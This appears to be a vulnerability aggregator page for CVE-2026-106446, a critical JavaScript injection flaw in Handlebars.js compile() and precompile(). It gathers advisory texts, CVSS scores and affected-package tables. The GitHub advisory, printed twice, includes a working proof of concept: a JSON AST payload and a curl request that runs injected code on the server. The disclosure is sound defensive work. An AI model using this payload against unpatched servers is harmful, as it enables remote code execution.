CVE-2026-106446
Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106446- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-843
- Updated
- 2026-11-02
EUVDEUVD-2026-93969
9.8
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
EUVD-2026-93969- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8r5x-fm3f-whwj
9.8
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
Summary
Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.
If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.
Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:
| AST value | Written into generated code as | Compile options needed |
| --- | --- | --- |
| Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) |
| depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true |
| A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true |
| A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |
The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:
- the
blockParamsobject has notype, so none of the type-specific checks apply, and - the walker skips the string under
lengthbecause it is not an object.
The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.
Proof of Concept
- Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
res.send(template());
});
app.listen(2123);
- Save this request body as
poc.json.missingHelperdoes not need to exist:
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
- Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
The server responds with HTTP 500 and an error page showing the injected code…
- Record
GHSA-8r5x-fm3f-whwj- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-843
- Updated
- 2026-11-02
NVD
9.8
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106446- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-843
- Updated
- 2026-11-02
OSV
9.8
Handlebars: JavaScript Injection via AST Type Confusion in compile (Program.blockParams)
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106446- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-843, CWE-94
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-106446
9.8
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
DEBIAN-CVE-2026-106446- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-8r5x-fm3f-whwj
9.8
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
Summary
Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.
If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.
Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:
| AST value | Written into generated code as | Compile options needed |
| --- | --- | --- |
| Program.blockParams.length | container.program(<index>, data, <length>) | none (default options) |
| depth on a param that is not a PathExpression, e.g. a StringLiteral | depths[<depth>] | stringParams: true |
| A StringLiteral.value that is not a string | raw JavaScript literal | stringParams: true |
| A PathExpression.original that is not a string | raw JavaScript literal | stringParams: true |
The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:
- the
blockParamsobject has notype, so none of the type-specific checks apply, and - the walker skips the string under
lengthbecause it is not an object.
The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.
Proof of Concept
- Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
res.send(template());
});
app.listen(2123);
- Save this request body as
poc.json.missingHelperdoes not need to exist:
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
- Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
The server responds with HTTP 500 and an error page showing the injected code…
- Record
GHSA-8r5x-fm3f-whwj- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-843, CWE-94
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-106446
9.8
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
- Record
UBUNTU-CVE-2026-106446- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1791795528 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 4.7.8-tuxcare.3.
- Record
CLSA-2026-1791795528- Updated
- 2026-11-02
OSVCLSA-2026-1791814907 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 4.5.3-tuxcare.1.
- Record
CLSA-2026-1791814907- Updated
- 2026-11-02
OSVCLSA-2026-1791836630 No score
TuxCare security update for handlebars (3 CVEs)
TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 4.7.7-tuxcare.2.
- Record
CLSA-2026-1791836630- Updated
- 2026-11-02
OSVCLSA-2026-1791837378 No score
TuxCare security update for handlebars (2 CVEs)
TuxCare rebuilt handlebars to address 2 CVEs. Fixed in 4.7.9-tuxcare.3.
- Record
CLSA-2026-1791837378- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-106446 No score
CVE-2026-106446 in handlebars - Patched by Root
Root has patched CVE-2026-106446 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-106446- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
handlebarsnpm |
4.0.0 to 4.7.9 | 4.7.10 |
handlebarsTuxCare:npm |
4.7.8-tuxcare.0 up to 4.7.8-tuxcare.3, plus listed versions 4.7.84.7.8-tuxcare.14.7.8-tuxcare.2 |
4.7.8-tuxcare.3 |
handlebarsTuxCare:npm |
4.5.3-tuxcare.0 up to 4.5.3-tuxcare.1, plus listed versions 4.5.3 |
4.5.3-tuxcare.1 |
handlebarsTuxCare:npm From an advisory covering 3 CVEs |
4.7.7-tuxcare.0 up to 4.7.7-tuxcare.2, plus listed versions 4.7.74.7.7-tuxcare.1 |
4.7.7-tuxcare.2 |
handlebarsTuxCare:npm From an advisory covering 2 CVEs |
4.7.9-tuxcare.0 up to 4.7.9-tuxcare.3, plus listed versions 4.7.94.7.9-tuxcare.14.7.9-tuxcare.2 |
4.7.9-tuxcare.3 |
node-handlebarsDebian:12 |
All versions, plus listed versions 3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
None known |
node-handlebarsDebian:13 |
All versions, plus listed versions 3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
None known |
node-handlebarsDebian:14 |
before 3:4.7.10-1, plus listed versions 3:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
3:4.7.10-1 |
handlebarsnpm |
4.0.0 up to 4.7.10 | 4.7.10 |
handlebarsRoot:npm |
before 3.0.7-aikido.1 | 3.0.7-aikido.13.0.3-aikido.13.0.8-aikido.14.7.7-aikido.44.7.7-aikido.54.7.9-aikido.14.7.9-aikido.23.0.7-aikido.23.0.8-aikido.23.0.7-aikido.33.0.3-aikido.2 |
Show 12 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@rootio/handlebarsRoot:npm |
before 3.0.7-root.io.1 | 3.0.7-root.io.13.0.3-root.io.13.0.8-root.io.14.7.7-root.io.44.7.7-root.io.54.7.9-root.io.14.7.9-root.io.23.0.7-root.io.23.0.8-root.io.23.0.7-root.io.33.0.3-root.io.2 |
ruby-handlebars-assetsUbuntu:16.04:LTS |
All versions, plus listed versions 0.15-22:0.20.2-22:0.21.0-22:0.21.0-32:0.21.0-42:0.21.0-5 |
None known |
node-handlebarsUbuntu:18.04:LTS |
All versions, plus listed versions 3:4.0.10-5 |
None known |
ruby-handlebars-assetsUbuntu:18.04:LTS |
All versions, plus listed versions 2:0.23.1-12:0.23.2-22:0.23.2+dfsg-2 |
None known |
node-handlebarsUbuntu:20.04:LTS |
All versions, plus listed versions 3:4.1.0-13:4.5.3-13:4.7.2-1 |
None known |
ruby-handlebars-assetsUbuntu:20.04:LTS |
All versions, plus listed versions 2:0.23.3+dfsg-2 |
None known |
node-handlebarsUbuntu:22.04:LTS |
All versions, plus listed versions 3:4.7.6+~4.1.0-23:4.7.7+~4.1.0-1 |
None known |
ruby-handlebars-assetsUbuntu:22.04:LTS |
All versions, plus listed versions 2:0.23.8+dfsg-32:0.23.8+dfsg-4 |
None known |
node-handlebarsUbuntu:24.04:LTS |
All versions, plus listed versions 3:4.7.7+~4.1.0-1 |
None known |
ruby-handlebars-assetsUbuntu:24.04:LTS |
All versions, plus listed versions 2:0.23.9+dfsg-1 |
None known |
node-handlebarsUbuntu:26.10 |
All versions, plus listed versions 3:4.7.7+~4.1.0-13:4.7.9-5 |
None known |
node-handlebarsUbuntu:26.04:LTS |
All versions, plus listed versions 3:4.7.7+~4.1.0-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-106446 is a critical vulnerability (CVSS 9.8) in Handlebars-lang Handlebars.js, published October 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.79%, the 56th percentile. Fixed in handlebars 4.7.10.
References
github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj
github.com/handlebars-lang/handlebars.js/pull/2185
github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2
github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
nvd.nist.gov/vuln/detail/CVE-2026-106446
github.com/advisories/GHSA-8r5x-fm3f-whwj
Left out here: the rest of 2 source descriptions. The JSON record has them.